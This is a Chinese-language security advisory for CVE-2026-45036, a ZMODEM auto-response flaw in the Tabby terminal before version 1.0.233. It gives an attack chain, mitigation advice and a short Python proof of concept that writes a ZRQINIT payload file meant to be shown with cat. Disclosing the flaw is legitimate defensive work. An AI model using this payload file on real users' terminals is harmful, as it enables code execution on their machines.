IPBUF安全漏洞报告
English
CVE-2026-45036 CVSS 7.0 高危

CVE-2026-45036 Tabby终端ZMODEM代码执行漏洞

披露日期: 2026-05-15

漏洞信息

漏洞编号
CVE-2026-45036
漏洞类型
代码执行
CVSS评分
7.0 高危
攻击向量
本地 (AV:L)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Tabby (formerly Terminus)

相关标签

RCETabbyZMODEM代码执行终端安全

漏洞概述

Tabby终端模拟器1.0.233之前版本存在安全漏洞,自动确认ZMODEM协议检测。当用户使用cat命令查看包含特定ZMODEM头部的恶意文件时,Tabby会向终端注入固定字节作为Shell命令执行,导致攻击者可在无交互的情况下执行任意代码。

技术细节

漏洞位于Tabby的`ZModemMiddleware`组件中。当终端输出检测到ZMODEM ZRQINIT头部时,Tabby无条件调用`detection.confirm()`并向PTY写入固定的ZRINIT响应(`**\x18B0100000023be50\r\n\x11`)。当触发的进程(如cat)退出后,这些注入的字节被用户Shell作为命令行执行。在fish shell中,`**`前缀触发递归glob扩展,允许执行相对路径下的恶意可执行文件;在bash/zsh中,结合xterm.js OSC 10颜色查询反馈可注入包含斜杠的命令词。攻击者只需诱导用户显示恶意文件即可利用此漏洞。

攻击链分析

STEP 1
制作恶意文件
攻击者创建包含ZMODEM ZRQINIT头部的恶意文件。
STEP 2
诱导用户
诱导受害者克隆包含该恶意文件的Git仓库或下载文件。
STEP 3
触发漏洞
受害者在Tabby终端中使用cat命令查看该文件内容。
STEP 4
注入命令
Tabby检测到ZMODEM信号,自动向PTY注入特定字节序列。
STEP 5
执行代码
cat进程退出后,Shell将注入的字节解析为命令并执行。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# PoC: Generate a file to trigger ZMODEM detection in Tabby < 1.0.233 # This file simulates the ZRQINIT header. # When a user runs 'cat' on this file in a vulnerable Tabby terminal, # Tabby will inject a response back into the shell. payload = b"**\x18B00000000000000\r\n\x11" with open("exploit.txt", "wb") as f: f.write(payload) print("File 'exploit.txt' created.") print("To simulate the attack chain (requires specific shell setup):") print("1. Place this file in a directory.") print("2. In a vulnerable Tabby terminal, run: cat exploit.txt") print("3. Close/Exit the cat command.") print("4. The injected response from Tabby is executed by the shell.")

影响范围

Tabby < 1.0.233

防御指南

临时缓解措施
请立即将Tabby终端更新至1.0.233或更高版本以修复此漏洞。在未更新前,切勿在Tabby终端中使用cat等命令打开不可信的文件,特别是从Git仓库克隆的未知文件。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表